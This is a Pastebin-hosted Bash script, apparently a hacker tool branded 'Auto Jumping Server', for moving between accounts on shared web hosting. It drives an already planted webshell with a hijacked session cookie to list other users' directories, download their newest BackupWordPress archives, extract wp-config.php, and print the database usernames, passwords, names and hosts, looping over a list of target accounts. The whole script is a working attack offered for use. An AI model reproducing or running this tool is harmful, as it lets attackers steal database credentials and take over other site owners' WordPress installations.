Advertisement
ccocot

grep-config.sh

Dec 17th, 2017
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.90 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. CY='\e[36m'
  4. GR='\e[34m'
  5. OG='\e[92m'
  6. WH='\e[37m'
  7. RD='\e[31m'
  8. YL='\e[33m'
  9. BF='\e[34m'
  10. DF='\e[39m'
  11. OR='\e[33m'
  12. PP='\e[35m'
  13. B='\e[1m'
  14. CC='\e[0m'
  15.  
  16. ngecek(){
  17.     local WEBSHELLURL=""
  18.     local PHPSESSID=""
  19.     local url="${WEBSHELLURL}?dir=${1}/backupwordpress"
  20.     local ngecek=$(curl -s "${url}" --cookie "PHPSESSID=${PHPSESSID}")
  21.     local username=$(echo ${1} | cut -d / -f3)
  22.     if [[ $ngecek =~ "Not Found" ]]; then
  23.         printf "[!] Session Expired\n"
  24.         exit 1
  25.     fi
  26.     if [[ ! $ngecek =~ "can't open directory." ]]; then
  27.         printf "${RD}${B}[!]${CC} ${1} => FOUND\n"
  28.         local folder=$(echo $ngecek | grep -Po "(?<=id='1' href=')[^']*")
  29.         printf "[+] Get Newest Backup ... "
  30.         local getidfile=$(curl -s "${WEBSHELLURL}${folder}" --cookie "PHPSESSID=${PHPSESSID}")
  31.         printf "${B}${GR}Success${CC}\n"
  32.         local getnumber=$(echo $getidfile | grep -Po "(?<=idfile=')[^']*" | sort -nr | head -n1)
  33.         local getfile=$(echo ${getidfile} | grep -Po "(?<=idfile='${getnumber}' href=')[^']*")
  34.         local downloadfile="${WEBSHELLURL}${getfile}"
  35.         printf "[+] Download Backup ... "
  36.         wget --header="Cookie: PHPSESSID=${PHPSESSID}" $downloadfile --quiet -O "${2}.tar.gz" 2> /dev/null
  37.         printf "${B}${GR}Success${CC}\n"
  38.         printf "[+] Grab wp-config.php ... "
  39.         local tmpfolder="${2}-folder"
  40.         mkdir $tmpfolder
  41.         tar -zxf ${2}.tar.gz -C ${tmpfolder} 2> /dev/null
  42.         local config=$(find ${tmpfolder} -name "wp-config.php")
  43.         cat $config > config/${username}.txt
  44.         rm -rf ${tmpfolder}
  45.         rm ${2}.tar.gz
  46.         printf "${B}${GR}Success${CC}\n"
  47.         local config=$(cat config/${username}.txt)
  48.         local dbuser=$(echo $config | grep -Po "(?<='DB_USER', ')[^']*")
  49.         local dbhost=$(echo $config | grep -Po "(?<='DB_HOST', ')[^']*")
  50.         local dbpass=$(echo $config | grep -Po "(?<='DB_PASSWORD', ')[^']*")
  51.         local dbname=$(echo $config | grep -Po "(?<='DB_NAME', ')[^']*")
  52.         printf " | User: %s\n | Password: %s\n | DB Name: %s\n | DB Host: %s\n\n"  ${dbuser} ${dbpass} ${dbname} ${dbhost}
  53.     else
  54.         printf "${RD}${B}[!]${CC} ${1} => NOT FOUND\n\n"
  55.     fi
  56. }
  57.  
  58. if [[ -z $1 ]]; then
  59.     printf "To Use $0 <file.txt> \n"
  60.     exit 1
  61. fi
  62.  
  63. cat << "EOF"
  64.              ____   ____ ___  ____  _____   _   _ _____ _____
  65.             | __ ) / ___/ _ \|  _ \| ____| | \ | | ____|_   _|
  66.             |  _ \| |  | | | | | | |  _|   |  \| |  _|   | |  
  67.             | |_) | |__| |_| | |_| | |___ _| |\  | |___  | |  
  68.             |____/ \____\___/|____/|_____(_)_| \_|_____| |_|  
  69.  
  70.                 Auto Jumping Server
  71.                 Ccocot | ccocot@bc0de.net
  72.                 Thank To Keflex [IDB TE4M]
  73. EOF
  74. printf "${GR}${B}[!]${CC} Scanning .... \n\n"
  75. wc -l ${1}
  76. printf "\n"
  77.  
  78. # OPTIONAL
  79. persend=5
  80. setleep=5
  81. mkdir config
  82.  
  83. itung=1
  84. IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $1))'
  85. for (( i = 0; i < "${#mailist[@]}"; i++ )); do
  86.     itung=$[$itung+1]
  87.     set_kirik=$(expr $itung % $persend)
  88.     if [[ $set_kirik == 0 && $itung > 0 ]]; then
  89.         sleep $setleep
  90.     fi
  91.     username="${mailist[$i]}"
  92.     ngecek ${username} ${itung}
  93. done
  94. wait
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement